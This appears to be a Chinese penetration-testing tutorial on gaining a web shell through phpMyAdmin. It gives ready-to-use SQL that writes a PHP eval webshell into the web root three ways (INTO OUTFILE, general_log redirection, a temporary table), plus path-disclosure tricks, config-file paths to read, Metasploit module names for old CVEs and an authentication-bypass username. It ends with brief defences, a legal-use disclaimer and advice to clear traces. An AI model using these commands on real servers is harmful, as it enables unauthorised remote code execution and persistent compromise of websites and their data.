phpMydmin的GetShell思路
字数 1513 2025-08-18 11:39:19
phpMyAdmin GetShell 技术详解
1. phpMyAdmin 简介
phpMyAdmin 是一个基于 PHP 的 MySQL 数据库管理工具,允许网站管理员通过 Web 界面管理数据库。
2. 信息收集阶段
2.1 获取网站物理路径
物理路径是后续 GetShell 的关键前提,以下是多种获取方法:
2.1.1 数据库查询方法
select @@datadir; -- 查询数据库存储路径来推测网站物理路径
2.1.2 配置文件爆路径
如果有文件读取权限,可通过 load_file 尝试读取配置文件:
Windows 系统常见配置文件路径:
c:\windows\php.ini
c:\windows\system32\inetsrv\MetaBase.xml -- IIS虚拟主机配置文件
Linux 系统常见配置文件路径:
/etc/php.ini
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf -- 虚拟目录配置文件
2.1.3 其他爆路径方法
- 单引号爆路径:
www.abc.com/index.php?id=1'(要求单引号未被过滤且服务器返回错误信息) - 错误参数值爆路径:
www.abc.com/index.php?id=-1 - Nginx文件类型错误解析:
www.abc.com/bg.jpg/x.php - Google搜索:
site:xxx.com warning site:xxx.com "fatal error" - 测试文件:
www.xxx.com/test.php www.xxx.com/ceshi.php www.xxx.com/info.php www.xxx.com/phpinfo.php www.xxx.com/php_info.php www.xxx.com/1.php - phpMyAdmin特定文件:
phpMyAdmin/libraries/selectlang.lib.php phpMyAdmin/darkblueorange/layout.inc.php phpmyadmin/themes/darkblue_orange/layout.inc.php phpMyAdmin/index.php?lang[]=1 /phpmyadmin/libraries/lect_lang.lib.php /phpMyAdmin/phpinfo.php /phpmyadmin/libraries/select_lang.lib.php /phpmyadmin/libraries/mcrypt.lib.php
2.2 其他信息收集
phpMyAdmin 后台面板可直接查看:
- MySQL 版本
- 当前用户
- 操作系统
- PHP 版本
- phpMyAdmin 版本
或通过 SQL 查询:
select version(); -- 查看数据库版本
show VARIABLES like '%char%'; -- 查看系统变量
3. GetShell 前提条件
- 网站真实路径:必须知道才能通过 URL 连接 shell
- 读写权限:检查
secure_file_priv参数select @@secure_file_priv;NULL:禁止导入导出'':不限制导入导出/path/:只能向指定目录导入导出
4. GetShell 方法
4.1 常规 GetShell
直接通过 SQL 查询写入 shell:
select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';
4.2 日志 GetShell
适用于 MySQL 5.0+ 版本:
-
查询日志全局变量:
show variables like '%general%';general_log: 日志保存状态general_log_file: 日志保存路径
-
开启日志并配置路径:
set global general_log = "ON"; -- 打开日志保存 set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径 -
写入 shell:
select '<?php eval($_POST[pwd]);?>';
4.3 新表 GetShell
-
新建数据表:
Create TABLE shell_table (xiaoma text NOT NULL); -
插入一句话木马:
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -
导出到文件:
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -
删除表:
Drop TABLE IF EXISTS shell_table;
5. 特殊版本漏洞利用
5.1 CVE-2013-3238
- 影响版本:3.5.x < 3.5.8.1 和 4.0.0 < 4.0.0-rc3
- 利用模块:
exploit/multi/http/phpmyadminpregreplace
5.2 CVE-2012-5159
- 影响版本:phpMyAdmin v3.5.2.2
- 利用模块:
exploit/multi/http/phpmyadmin3522_backdoor
5.3 CVE-2009-1151
- 漏洞位置:配置文件
/config/config.inc.php存在命令执行 - 影响版本:2.11.x < 2.11.9.5 和 3.x < 3.1.3.1
- 利用模块:
exploit/unix/webapp/phpmyadmin_config
6. 弱口令与万能密码
- 弱口令:phpmyadmin 2.11.9.2 版本可直接用 root 用户登录,无需密码
- 万能密码:2.11.3/2.11.4 版本,使用用户名
'localhost'@'@"可登录成功
7. 防御措施
- 及时更新 phpMyAdmin 到最新版本
- 限制 phpMyAdmin 的访问权限
- 配置正确的
secure_file_priv参数 - 禁用不必要的日志功能
- 使用强密码并定期更换
- 限制数据库用户的权限
8. 注意事项
- 所有技术仅用于合法授权测试
- 未经授权使用这些技术可能违反法律
- 操作前务必备份重要数据
- 测试完成后应及时清理痕迹